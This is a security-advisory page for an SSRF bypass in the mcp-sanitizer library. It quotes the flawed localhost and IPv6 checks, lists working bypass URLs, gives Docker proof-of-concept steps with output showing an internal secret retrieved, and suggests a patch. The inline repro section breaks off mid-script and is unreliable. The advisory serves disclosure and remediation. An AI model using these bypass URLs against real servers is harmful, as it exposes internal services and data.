VulnWatch VulnWatch
← Back to dashboard
High github · GHSA-4mfg-r38w-w8fg

mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Published Oct 28, 2026 CVSS 8.2

URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Summary

mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as web_fetch and web_scraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.

Details

The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by _secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.

Bug 1 — Port-guarded localhost check (line 274–276):

// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
  throw new Error('URL points to localhost without explicit port');
}

The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.

Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):

// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
  throw new Error(`URL points to link-local address: ${hostname}`);
}

The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.

Data flow through the middleware:

  1. src/middleware/express.js:499 — tool name derived from req.params.toolName || req.body?.tool_name.
  2. src/middleware/express.js:548-554 — web_scraper/web_fetch params.url forwarded to sanitizer.sanitize(url, { type: 'url' }).
  3. src/sanitizer/mcp-sanitizer.js:527-528 — context type url routes to _secureSanitizeURL().
  4. src/sanitizer/mcp-sanitizer.js:698-700 — validateURLLocation(parsedUrl) called; on success, parsedUrl.toString() returned to caller as the sanitized, trusted URL.

Both bugs are in the default code path; no special configuration is required to trigger them.

Suggested patch:

--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@ 
-  const hostname = parsedUrl.hostname.toLowerCase();
+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@ 
-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
-    throw new Error('URL points to localhost without explicit port');
+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+    throw new Error('URL points to localhost or loopback');
   }
@@ 
-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+      hostname.startsWith('fc') || hostname.startsWith('fd')) {
     throw new Error(`URL points to link-local address: ${hostname}`);
   }
+
+  if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+  }

PoC

Prerequisites: Docker installed; no other dependencies required.

1. Build the Docker image:

docker build \
  -f vuln-001/Dockerfile \
  -t vuln-001-mcp-sanitizer \
  reports/npmAI_754_starman69__mcp-sanitizer

2. Run the PoC:

docker run --rm vuln-001-mcp-sanitizer

The poc.py script inside the image:

  • Starts a mock internal HTTP service on 127.0.0.1:8080 serving the string INTERNAL_SECRET_DATA_9f3a2b1c.
  • Calls sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates).
  • Performs an actual GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.

Expected output (abbreviated):

[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end

Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.

Minimal inline repro (no Docker):

# Inside the mcp-sanitizer repository root (npm ci first)
node - = 2:
    print("\n  RESULT: PASS - SSRF bypass fully demonstrated end-to-end")
    print("  - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080")
    print(f"  - Actual HTTP GET to internal service returned: {ssrf_evidence!r}")
    sys.exit(0)
elif len(bypass_urls) >= 2:
    print("\n  RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed")
    print(f"  - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}")
    sys.exit(1)
else:
    print("\n  RESULT: FAIL - expected at least 2 bypass URLs")
    sys.exit(1)

Affected AI Products

mcp server
Get the weekly digest. Every Monday: top AI security stories of the week. Free.